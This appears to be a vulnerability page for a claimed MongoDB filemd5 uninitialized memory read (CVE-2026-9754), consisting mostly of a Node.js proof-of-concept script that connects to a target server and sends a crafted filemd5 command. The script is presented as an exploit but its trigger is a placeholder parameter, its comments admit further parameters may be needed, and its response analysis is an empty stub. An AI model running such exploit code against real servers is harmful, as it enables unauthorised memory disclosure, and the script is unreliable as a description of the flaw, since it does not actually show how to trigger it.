MongoDB filemd5命令未初始化栈内存读取漏洞 (CVE-2026-9754)

// CVE-2026-9754 PoC - MongoDB filemd5 Uninitialized Memory Read // Author: Security Researcher // Target: MongoDB Server (vulnerable versions) // Requirements: Valid credentials with read role const { MongoClient } = require('mongodb'); async function exploitCVE20269754() { const mongoUrl = 'mongodb://target:27017'; const client = new MongoClient(mongoUrl, { auth: { user: 'attacker', password: 'password123' } }); try { await client.connect(); console.log('[+] Connected to MongoDB'); const db = client.db('test'); const collection = db.collection('test'); // Insert a test file for filemd5 operation const fileId = await collection.insertOne({ filename: 'test.txt', content: 'Test content for filemd5' }); console.log('[+] Triggering filemd5 command with crafted parameters'); // Trigger uninitialized memory read via filemd5 command // The actual exploitation requires specific conditions const result = await db.command({ filemd5: fileId.insertedId, root: collection.collectionName, // Additional parameters may be needed to trigger the vulnerability 'malicious_param': 'trigger_condition' }); console.log('[+] filemd5 response received'); console.log('[+] Response may contain uninitialized stack memory'); console.log(JSON.stringify(result, null, 2)); // Analyze response for leaked memory patterns analyzeResponse(result); } catch (error) { console.error('[-] Error:', error.message); } finally { await client.close(); } } function analyzeResponse(response) { // Check for unusual patterns in response that might indicate leaked memory console.log('[+] Analyzing response for memory leak indicators'); } // Run the exploit // exploitCVE20269754();